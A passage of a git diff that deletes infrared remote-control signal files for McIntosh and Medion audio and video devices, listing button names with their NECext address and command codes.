55 00 00 00 -# -name: 8_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 56 00 00 00 -# -name: 9_TRACK -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 57 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 58 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 59 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: CA 95 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir deleted file mode 100644 index a55b77ef5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CDR -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 88 00 00 00 -# -name: SERVER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 89 00 00 00 -# -name: MM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 8A 00 00 00 -# -name: MC -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 8D 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 92 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 97 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: C2 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: CA 55 00 00 -command: C3 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: C6 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: CA 55 00 00 -command: CB 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir deleted file mode 100644 index 405069329..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 01 00 00 00 -# -name: >>I_NEXT -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 02 00 00 00 -# -name: I<<_BACK -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 07 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 08 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 09 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0B 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0C 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0D 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 10 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 11 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 12 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 13 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 14 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 15 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 15 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 4C 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 4D 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 4E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 4F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 50 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 51 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 52 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 53 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 56 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 57 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 58 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 59 00 00 00 -# -name: <<_REVERSE -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 5A 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 5B 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 80 50 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir deleted file mode 100644 index 88d66f995..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHAPTER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP/EJECT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: 10_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: DISC_SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: DISC_SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: STEP_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STEP_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir deleted file mode 100644 index e0d6ce2d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 01 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 02 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 03 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 04 00 00 00 -# -name: ACC_ON -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 05 00 00 00 -# -name: ACC_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 06 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 07 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 08 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 09 00 00 00 -# -name: LV -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0A 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0B 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0B 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0C 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0D 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0D 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0E 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 10 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 10 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 11 00 00 00 -# -name: CD2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 11 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 12 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 13 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 13 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 14 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 16 00 00 00 -# -name: PH/AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 17 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 40 00 00 00 -# -name: SYS_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 41 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 41 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 42 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 43 00 00 00 -# -name: SURROUND_UP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 44 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 44 00 00 00 -# -name: SURROUND_DOWN -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 45 00 00 00 -# -name: LEVEL_DOWN -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 45 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 46 00 00 00 -# -name: SP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 47 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 47 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 48 00 00 00 -# -name: -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 4B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 50 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 51 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 52 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 53 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 56 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 57 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 58 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 59 00 00 00 -# -name: SEEK_DOWN -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5A 00 00 00 -# -name: SEEK_UP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5B 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5C 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir deleted file mode 100644 index 842fd182a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 01 00 00 00 -# -name: AMS_>> -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 02 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 02 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 02 00 00 00 -# -name: AMS_<< -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 03 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 03 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 03 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 04 00 00 00 -# -name: ACC_ON -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 05 00 00 00 -# -name: ACC_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 06 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 07 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 08 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 09 00 00 00 -# -name: LV -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0A 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0B 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0C 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 0D 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 10 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 11 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 11 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 12 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 13 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 14 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 16 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 16 00 00 00 -# -name: PH/AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 17 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 40 00 00 00 -# -name: SYS_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 41 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 41 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 42 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 43 00 00 00 -# -name: SURROUND_^ -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 44 00 00 00 -# -name: SURROUND_V -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 45 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 46 00 00 00 -# -name: SP -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 47 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 48 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 50 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 51 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 52 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 53 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 54 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 55 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 56 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 57 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 58 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 59 00 00 00 -# -name: SEEK_V -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5A 00 00 00 -# -name: SEEK_^ -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5B 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5C 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5C 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: CA 55 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir deleted file mode 100644 index 77d413e17..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: FREV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir deleted file mode 100644 index 1a67289b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 15 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CAMERA -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir deleted file mode 100644 index 597f000d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: sh_2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 00 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 02 00 00 00 -# -name: splitscreen -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 03 00 00 00 -# -name: vidtext -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 04 00 00 00 -# -name: sh_1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 05 00 00 00 -# -name: sh_splitscreen -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 06 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 13 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 17 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 17 69 